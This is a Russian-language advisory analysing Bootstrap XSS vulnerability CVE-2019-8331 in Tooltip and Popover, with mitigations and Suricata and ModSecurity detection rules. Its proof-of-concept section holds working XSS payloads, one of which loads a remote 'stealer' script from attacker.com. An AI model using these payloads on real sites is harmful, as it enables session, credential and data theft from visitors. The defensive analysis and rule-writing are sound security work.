Уязвимость BDU:2020-02249 (CVE-2019-8331) Bootstrap
Уязвимость BDU:2020-02249 (CVE-2019-8331) представляет собой критическую уязвимость типа Межсайтового скриптинга (XSS), обнаруженную в популярном фреймворке Bootstrap. Уязвимость затрагивает компоненты Tooltip (всплывающая подсказка) и Popover (всплывающее окно). Суть проблемы заключается в недостаточной санитизации (очистке) пользовательского ввода, передаваемого через атрибуты data-template, data-content и data-title (при включенном data-html="true"), что позволяет злоумышленнику внедрить и исполнить произвольный JavaScript-код в контексте браузера жертвы.
Анализ уязвимости
Уровень опасности: 6.1 MEDIUM
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
-
AV:N (Attack Vector: Network) - Атака может быть инициирована удаленно через сеть.
-
AC:L (Attack Complexity: Low) - Сложность атаки низкая, эксплуатация не требует сложных условий.
-
PR:N (Privileges Required: None) - Для атаки не требуются какие-либо привилегии на целевом ресурсе.
-
UI:R (User Interaction: Required) - Для успешной эксплуатации требуется взаимодействие пользователя (например, наведение курсора на элемент с Tooltip).
-
S:C (Scope: Changed) - Успешная атака может повлиять на компоненты, выходящие за рамки уязвимого компонента (например, другие вкладки/окна браузера того же пользователя).
-
C:L (Confidentiality Impact: Low) - Возможное ограниченное воздействие на конфиденциальность (кража данных сессии, личной информации в рамках страницы/домена).
-
I:L (Integrity Impact: Low) - Возможное ограниченное воздействие на целостность (модификация содержимого страницы, выполнение действий от имени пользователя в рамках сессии).
-
A:N (Availability Impact: None) - Атака не оказывает прямого влияния на доступность системы.
Уязвимые версии:
-
Bootstrap 3.x до версии 3.4.1
-
Bootstrap 4.x с версии 4.0.0 до версии 4.3.1
Условия эксплуатации
-
Наличие уязвимой версии Bootstrap: Сайт или веб-приложение должно использовать уязвимую версию Bootstrap.
-
Использование компонентов Tooltip/Popover: На странице должны использоваться компоненты Tooltip или Popover.
-
Контроль злоумышленником над данными атрибутов: Злоумышленник должен иметь возможность контролировать или влиять на содержимое атрибутов
data-template,data-contentилиdata-title(особенно приdata-html="true") элементов, к которым применяются Tooltip/Popover. Это достигается через:-
Отраженный XSS: Внедрение вредоносных данных в параметры URL, которые затем отображаются в атрибутах.
-
Хранимый XSS: Сохранение вредоносных данных на сервере (например, в профиле пользователя, комментарии, названии товара), которые затем извлекаются и подставляются в атрибуты при отображении страницы другим пользователям.
-
DOM-based XSS: Манипуляция DOM-деревом на стороне клиента для установки вредоносных значений атрибутов.
-
-
Взаимодействие пользователя: Жертва должна взаимодействовать с элементом, активирующим отображение Tooltip или Popover (навести курсор, кликнуть).
Технический анализ уязвимости и эксплоитов
Проблема кроется в коде инициализации и обработки шаблонов Tooltip/Popover внутри файлов tooltip.js/popover.js Bootstrap. Рассмотрим ключевые моменты на примере Bootstrap 4.x (до 4.3.1):
-
Обработка
data-html="true":
При установке атрибутаdata-html="true"на элементе, Bootstrap разрешает использовать HTML-разметку внутриtitle/content. Код доверяет этому содержимому и вставляет его напрямую в DOM через.html()или аналогичные методы jQuery/JavaScript без должной очистки. -
Обработка
data-template:
Атрибутdata-templateпозволяет полностью переопределить HTML-структуру самого Tooltip/Popover. Bootstrap использует его значение для создания нового DOM-элемента:Значение
data-templateвставляется как HTML через$(string), что позволяет внедрить произвольные теги, включая<script>, или теги с обработчиками событий (onerror,onload,onmouseover).
Анализ PoC (Proof of Concept)
Рассмотрим код эксплоитов для понимания работы вектора атаки с использованием этой уязвимости.
Пример 1: Инъекция через data-template с использованием onerror
<x data-toggle="tooltip" data-template="<img src=x onerror=alert(1)>">Наведи на меня (XSS!)</x>
-
Механизм: Атрибут
data-templateсодержит строку, создающую элемент<img>. Атрибутsrc="x"заведомо невалиден. При попытке загрузить несуществующее изображение срабатывает обработчикonerror, исполняяalert(1). -
Активация: При наведении курсора на элемент
<x>активируется Tooltip. Bootstrap берет значениеdata-template, создает из него элемент и добавляет в DOM. Неудачная загрузка картинки триггерит XSS.
Пример 2: Инъекция через title/data-content с data-html="true"
<x data-toggle="tooltip" data-html="true" title='<script>alert(1)</script>'>Наведи на меня (XSS!)</x> <x data-toggle="tooltip" data-html="true" data-content='<script>alert(1)</script>'>Наведи на меня (XSS!)</x>
-
Механизм: Атрибуты
titleилиdata-contentсодержат строку с тегом<script>. Установкаdata-html="true"говорит Bootstrap интерпретировать содержимое как HTML, а не как простой текст. -
Активация: При наведении курсора Bootstrap извлекает содержимое
title/data-content, интерпретирует его как HTML (включая тег<script>) и вставляет в DOM Tooltip. Тег<script>исполняется браузером.
Пример 3: Динамическая загрузка внешнего скрипта
<x data-toggle="tooltip" data-html="true" title='<img src="x" onerror="var s=document.createElement(`script`);s.src=`https://attacker.com/malicious.js`;document.body.appendChild(s);">'>Наведи на меня (Stealer!)</x>
-
Механизм: Более опасный сценарий. Используется
onerrorв<img>(аналогично Примеру 1), но вместоalertсоздается и добавляется в DOM тег<script>, ссылающийся на внешний вредоносный JavaScript-файл (malicious.js). -
Последствия:
malicious.jsможет содержать код для:-
Кражи cookies сессии (включая аутентификационные).
-
Кражу данных форм (логины, пароли, платежные реквизиты).
-
Перенаправления пользователя на фишинговый сайт.
-
Кейлоггинга (перехвата нажатий клавиш).
-
Установки вредоносного ПО через эксплойты браузера.
-
Участия в ботнете (криптомайнинг, DDoS).
-
Где используется Bootstrap?
Bootstrap – один из самых распространенных CSS/JS фреймворков. Он используется в:
-
Корпоративных порталах и CRM/ERP системах.
-
Системах управления контентом (CMS) и их шаблонах.
-
Административных панелях (админках) устройств и ПО.
-
Интернет-магазинах (e-commerce).
-
Стартапах и MVP (Minimum Viable Product).
-
Множестве внутренних веб-приложений компаний.
Пример из POC: Официальный сайт штата Нью-Джерси (https-nj.gov) использовал уязвимую версию Bootstrap 4.0.0.
Возможные последствия успешной атаки
-
Кража сессионных cookies: Позволяет злоумышленнику захватить активную сессию пользователя и войти в систему от его имени.
-
Кража учетных данных: Перехват логинов и паролей, вводимых на странице.
-
Кража конфиденциальных данных (PII): Доступ к персональным данным, отображаемым на странице (имена, адреса, номера телефонов, документы).
-
Подмена контента: Изменение текста, изображений или форм на странице для дезинформации или фишинга.
-
Перенаправление на вредоносные сайты.
-
Выполнение действий от имени пользователя: Отправка сообщений, совершение платежей, изменение настроек профиля.
-
Распространение вредоносного ПО: Эксплуатация уязвимостей в браузере или плагинах для загрузки троянов.
-
Участие в криптомайнинге (Cryptojacking): Использование ресурсов CPU посетителя для майнинга криптовалюты.
Методы защиты
-
Обновление Bootstrap: Самый эффективный и критически важный метод.
-
Для Bootstrap 3.x: Обновиться до версии 3.4.1 или выше.
-
Для Bootstrap 4.x: Обновиться до версии 4.3.1 или выше (рекомендуется последняя стабильная 4.6.x или миграция на 5.x).
-
Для Bootstrap 5.x: Уязвимость изначально исправлена. Используйте последнюю стабильную версию.
-
-
Строгая санитизация на стороне сервера:
-
Все данные, подставляемые в атрибуты
data-template,data-content,data-title(и любые другие, влияющие на HTML Tooltip/Popover), должны проходить строгую очистку перед выводом в HTML-контекст. -
Используйте проверенные библиотеки санитизации HTML:
-
PHP:
htmlspecialchars($string, ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5, 'UTF-8')(для текста!), или более продвинутые какHTML Purifierдля сложных HTML-фрагментов (с осторожностью!). -
Node.js:
sanitize-html,xss,DOMPurify(рекомендуется). -
Python (Django): Автоматическое экранирование шаблонов (активировано по умолчанию), или
django.utils.html.escape. Для сложных случаев -bleach. -
Java: OWASP Java Encoder Project (
Encoder.forHtmlContent()),Jsoup(с осторожностью при очистке).
-
-
Принцип: Удаляйте или экранируйте (
<-><,>->>,"->",'->',&->&) все символы, имеющие специальное значение в HTML. Особенно важно для атрибутов.
-
-
Строгая валидация входных данных:
-
Если атрибуты должны содержать только определенные шаблоны или ограниченный набор HTML-тегов/атрибутов, применяйте строгую валидацию (белые списки -
allowlist). Отвергайте любые данные, не соответствующие строгому шаблону.
-
-
Content Security Policy (CSP):
-
Не панацея, но мощный дополнительный рубеж защиты.
-
Политика
script-srcс'self'и явным указанием доверенных источников ('unsafe-inline'и'unsafe-eval'должны быть строго исключены!) предотвратит выполнение инлайн-скриптов (<script>...</script>,onerror=...) из внедренного кода. -
Пример строгой политики:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; style-src 'self' 'unsafe-inline'; img-src 'self' data:; object-src 'none'; base-uri 'none';
-
Тестируйте! CSP может сломать функциональность легальных скриптов.
-
-
Защита с помощью WAF/IPS (Suricata):
-
Рекомендация: WAF/IPS не заменяет обновление библиотеки или санитизацию! Это дополнительный слой защиты, особенно полезный при работе с легаси-системами, где немедленное обновление невозможно.
-
Цель правил: Обнаруживать попытки внедрения опасных шаблонов в специфические атрибуты Tooltip/Popover в HTTP-запросах (GET/POST параметры, заголовки) и HTTP-ответах (где уязвимый контент может отображаться).
-
Пример правил для Suricata:
# Правило 1: Поиск `data-template` с явными попытками XSS (onerror, onload, javascript:) alert http any any -> any any (msg:"BDU:2020-02249 / CVE-2019-8331 Potential Bootstrap XSS via data-template (PoC Pattern)"; flow:to_server; content:"data-template"; nocase; content:"onerror"; nocase; distance:0; within:50; metadata: cve 2019-8331, bdu 2020-02249, tag xss; sid:201983311; rev:1;) alert http any any -> any any (msg:"BDU:2020-02249 / CVE-2019-8331 Potential Bootstrap XSS via data-template (Script Tag)"; flow:to_server; content:"data-template"; nocase; pcre:"/data-template\s*=[\s'\"]*<script[^>]*>/i"; metadata: cve 2019-8331, bdu 2020-02249, tag xss; sid:201983312; rev:1;) # Правило 2: Поиск `data-html=true` в сочетании с опасным содержимым в `data-title`/`data-content` alert http any any -> any any (msg:"BDU:2020-02249 / CVE-2019-8331 Potential Bootstrap XSS via data-html and data-title/data-content (Script Tag)"; flow:to_server; content:"data-html"; nocase; content:"true"; nocase; distance:0; content:"data-title"; nocase; distance:0; pcre:"/data-title\s*=[\s'\"]*<script[^>]*>/i"; metadata: cve 2019-8331, bdu 2020-02249, tag xss; sid:201983313; rev:1;) alert http any any -> any any (msg:"BDU:2020-02249 / CVE-2019-8331 Potential Bootstrap XSS via data-html and data-title/data-content (Event Handler)"; flow:to_server; content:"data-html"; nocase; content:"true"; nocase; distance:0; content:"data-content"; nocase; distance:0; content:"onerror"; nocase; distance:0; within:50; metadata: cve 2019-8331, bdu 2020-02249, tag xss; sid:201983314; rev:1;) # Правило 3: Мониторинг ответов на наличие индикаторов уязвимой версии Bootstrap (опционально, для обнаружения уязвимых целей) alert http any any -> any any (msg:"BDU:2020-02249 / CVE-2019-8331 Vulnerable Bootstrap Version Detected (3.x < 3.4.1)"; flow:from_server; content:"bootstrap"; nocase; content:"v3."; distance:0; pcre:"/v3\.(?:[0-2]\.|3\.[0-3]|4\.[0-0])(?!\d)/"; metadata: cve 2019-8331, bdu 2020-02249, tag reconnaissance; sid:201983315; rev:1;) alert http any any -> any any (msg:"BDU:2020-02249 / CVE-2019-8331 Vulnerable Bootstrap Version Detected (4.x < 4.3.1)"; flow:from_server; content:"bootstrap"; nocase; content:"v4."; distance:0; pcre:"/v4\.(?:[0-2]\.|3\.[0-0])(?!\d)/"; metadata: cve 2019-8331, bdu 2020-02249, tag reconnaissance; sid:201983316; rev:1;) Данные правила можно найти в моём наборе правил к Suricata (https://alekseycheremnykh.ru/post/moj-nabor-pravil-k-suricata/).
-
Важные замечания по IPS:
-
False Positives / False Negatives: Эти правила могут давать ложные срабатывания (если в данных легально встречаются слова
onerror,data-templateв безопасном контексте) или пропускать сложно закодированные атаки. Требуется тщательная настройка и тестирование в конкретной среде. -
Контекст: Правила анализируют сырые HTTP-данные. Обфускация (кодирование URL, Unicode, JS-функции) может обойти простые сигнатуры. Требуются более сложные правила или нормализация.
-
Эффективность: WAF лучше блокирует отраженные XSS. Против хранимых XSS он эффективен только на этапе попытки сохранения вредоносных данных на сервер.
-
-
Правила для ModSecurity (OWASP Core Rule Set - CRS) - Блокировка атак на Bootstrap CVE-2019-8331:
# =====================================================================
# CVE-2019-8331 / BDU:2020-02249: Bootstrap XSS in Tooltip/Popover
# Таргетирует атрибуты data-template, data-content, data-title + data-html=true
# =====================================================================
# Правило 1: Блокировка опасных паттернов в data-template (основной вектор)
SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/* "@rx (?i)(?:data-template\s*=\s*['\"]?|<\w+\s+[^>]*?data-template\s*=\s*['\"]?)([^'\">]*(?:<script[^>]*>|on(?:error|load|mouseover)\s*=|javascript\s*:|\b(?:expression|eval)\s*\(|<\s*img\s+[^>]*src\s*=\s*[^>]*onerror\s*=))" \
"id:2020022491,\
phase:2,\
block,\
t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,\
msg:'Potential CVE-2019-8331 Exploit: Malicious data-template attribute detected',\
logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}',\
tag:'application-multi',\
tag:'language-multi',\
tag:'platform-multi',\
tag:'attack-xss',\
tag:'paranoia-level/2',\
tag:'OWASP_CRS',\
tag:'capec/1000/152/242',\
ctl:ruleRemoveTargetByTag=OWASP_CRS;ARGS:comment,\
ver:'OWASP_CRS/3.4.0',\
severity:'CRITICAL',\
setvar:'tx.anomaly_score_pl2=+%{tx.critical_anomaly_score}',\
setvar:'tx.xss_score=+%{tx.critical_anomaly_score}'"
# Правило 2: Блокировка опасного контента в data-title/data-content при наличии data-html=true
SecRule ARGS|ARGS_NAMES "@rx (?i)(?:data-(?:title|content)\s*=\s*['\"]?|<\w+\s+[^>]*?data-(?:title|content)\s*=\s*['\"]?)([^'\">]*(?:<script[^>]*>|on(?:error|load|mouseover)\s*=|javascript\s*:|\b(?:expression|eval)\s*\(|<\s*img\s+[^>]*src\s*=\s*[^>]*onerror\s*=))" \
"id:2020022492,\
phase:2,\
block,\
chain,\
t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"
SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/* "@rx (?i)data-html\s*=\s*['\"]?true" \
"t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,\
ctl:ruleRemoveTargetByTag=OWASP_CRS;ARGS:description,\
msg:'Potential CVE-2019-8331 Exploit: Malicious data-title/content with data-html=true',\
logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}',\
tag:'application-multi',\
tag:'language-multi',\
tag:'platform-multi',\
tag:'attack-xss',\
tag:'paranoia-level/2',\
tag:'OWASP_CRS',\
tag:'capec/1000/152/242',\
ver:'OWASP_CRS/3.4.0',\
severity:'CRITICAL',\
setvar:'tx.anomaly_score_pl2=+%{tx.critical_anomaly_score}',\
setvar:'tx.xss_score=+%{tx.critical_anomaly_score}'"
# Правило 3: Блокировка уязвимых версий Bootstrap в ответах сервера (обнаружение уязвимого ресурса)
SecRule RESPONSE_BODY "@rx (?:bootstrap[^>]*(?:v(?:3\.(?:[0-2]\.\d+|3\.[0-3]|4\.0)|v(?:4\.(?:[0-2]\.\d+|3\.[0-1])))|\/bootstrap\/(?:3\.[0-3]\.|4\.[0-3]\.)\d+\/js\/bootstrap(?:\.min)?\.js)" \
"id:2020022493,\
phase:4,\
pass,\
t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,\
msg:'Vulnerable Bootstrap Version Detected (CVE-2019-8331)',\
logdata:'Matched Bootstrap version: %{TX.0}',\
tag:'application-multi',\
tag:'language-multi',\
tag:'platform-multi',\
tag:'info',\
tag:'paranoia-level/1',\
tag:'OWASP_CRS',\
ver:'OWASP_CRS/3.4.0',\
severity:'NOTICE'"
Пояснения к правилам WAF:
-
Правило 2020022491 (data-template):
-
Цель: Обнаруживает опасные паттерны внутри значений атрибута
data-template. -
Механизм:
-
Ищет строки типа
data-template=,data-template =,data-template=',data-template="(с пробелами и кавычками). -
Ищет внутри значения ключевые индикаторы XSS:
-
<script>теги -
Обработчики событий:
onerror=,onload=,onmouseover= -
JavaScript-протокол:
javascript: -
Опасные функции:
expression(,eval( -
Специфичный для PoC паттерн:
<img ... src=... onerror=
-
-
Применяет трансформации (декодирование URL, HTML-сущностей, приведение к нижнему регистру) для борьбы с обфускацией.
-
-
Действие: Блокировка запроса (
block), критическая (CRITICAL) оценка аномалии. -
Исключения (
ctl:ruleRemoveTargetByTag): Пример исключения аргументаcomment(если нужно для функционала). Требует настройки!
-
-
Правило 2020022492 (data-title/data-content + data-html):
-
Цель: Обнаруживает опасный контент в
data-titleилиdata-contentтолько если присутствуетdata-html="true". -
Механизм:
-
Цепочка (chain): Первая часть ищет опасный контент в
data-title/data-content. Вторая часть (chain) проверяет наличиеdata-html=true. -
Использует те же индикаторы XSS, что и Правило 1.
-
Трансформации аналогичны.
-
-
Действие: Блокировка запроса, критическая оценка.
-
Важность условия
data-html=true: Без этого атрибута Bootstrap экранирует контент, делая атаку невозможной. Правило фокусируется на опасной комбинации.
-
-
Правило 2020022493 (Обнаружение уязвимой версии):
-
Цель: Пассивное обнаружение факта использования уязвимой версии Bootstrap в ответах сервера.
-
Механизм: Ищет в теле ответа (
RESPONSE_BODY) признаки загрузки уязвимых версий:-
Строки версий:
v3.0.0-v3.4.0,v4.0.0-v4.3.1(но неv3.4.1+илиv4.3.2+) -
Пути к уязвимым JS-файлам:
/bootstrap/3.4.0/js/bootstrap.js,/bootstrap/4.3.1/js/bootstrap.min.jsи т.д.
-
-
Действие: Не блокирует (
pass), регистрирует событие с уровнемNOTICE(Уведомление). Информационное! Помогает выявить уязвимые компоненты.
-
Ключевые особенности и предупреждения:
-
Трансформации (
t:): Критически важны для обнаружения обфусцированных атак:-
t:urlDecodeUni: Декодирует %-кодирование (например,%3Cscript%3E-><script>). -
t:htmlEntityDecode: Декодирует HTML-сущности (например,<script>-><script>). -
t:lowercase: Приводит к нижнему регистру для регистронезависимости.
-
-
Ложные срабатывания (False Positives):
-
Высокая вероятность! Правила агрессивны для надежности.
-
Исключения (
ctl:ruleRemoveTargetByTag): Обязательно настройте исключения для параметров, где ожидается HTML (например, поля WYSIWYG редакторов, описания товаров). Исключать нужно по именам параметров (ARGS:paramName). -
Тестирование: Тщательно тестируйте правила на тестовой среде перед развертыванием в продакшене. Используйте позитивные и негативные тест-кейсы.
-
-
Ограничения WAF:
-
Не панацея: WAF дополняет, но не заменяет обновление библиотеки и санитизацию входных данных!
-
DOM-based XSS: Может быть сложно обнаружить атаки, полностью формируемые на клиенте (JS).
-
Сложная обфускация: Опытные злоумышленники могут использовать сложные методы кодирования или разбиения строк для обхода сигнатур.
-
Performance: Сложные правила с трансформациями могут нагружать WAF. Мониторьте производительность.
-
-
Интеграция с CRS:
-
Правила используют структуру и переменные OWASP CRS (версии 3.x). Их следует размещать в своем собственном файле конфигурации (например,
REQUEST-901-BOOTSTRAP-CVE-2019-8331.conf) и подключать после основных файлов CRS. -
Они повышают счетчик аномалий (
tx.anomaly_score), что позволяет интегрировать их в общую логику блокировки CRS (на основе пороговых значений).
-
Заключение:
Уязвимость BDU:2020-02249 (CVE-2019-8331) в Bootstrap – классический пример DOM-based XSS, вызванного доверием к несанитизированным пользовательским данным при динамическом построении HTML. Ее эксплуатация, хоть и требующая взаимодействия пользователя, позволяет злоумышленнику выполнять произвольный код в браузере жертвы с серьезными последствиями для конфиденциальности и целостности. Основной и абсолютно необходимой мерой защиты является немедленное обновление Bootstrap до исправленных версий. Дополнительные меры, такие как строгая санитизация всех пользовательских данных на стороне сервера, внедрение CSP и настройка WAF/IPS, создают защитные слои, но не заменяют обновление библиотеки. Понимание механизма работы уязвимости и векторов атаки, демонстрируемых PoC, критически важно для специалистов по безопасности при проведении аудита веб-приложений и реагировании на инциденты.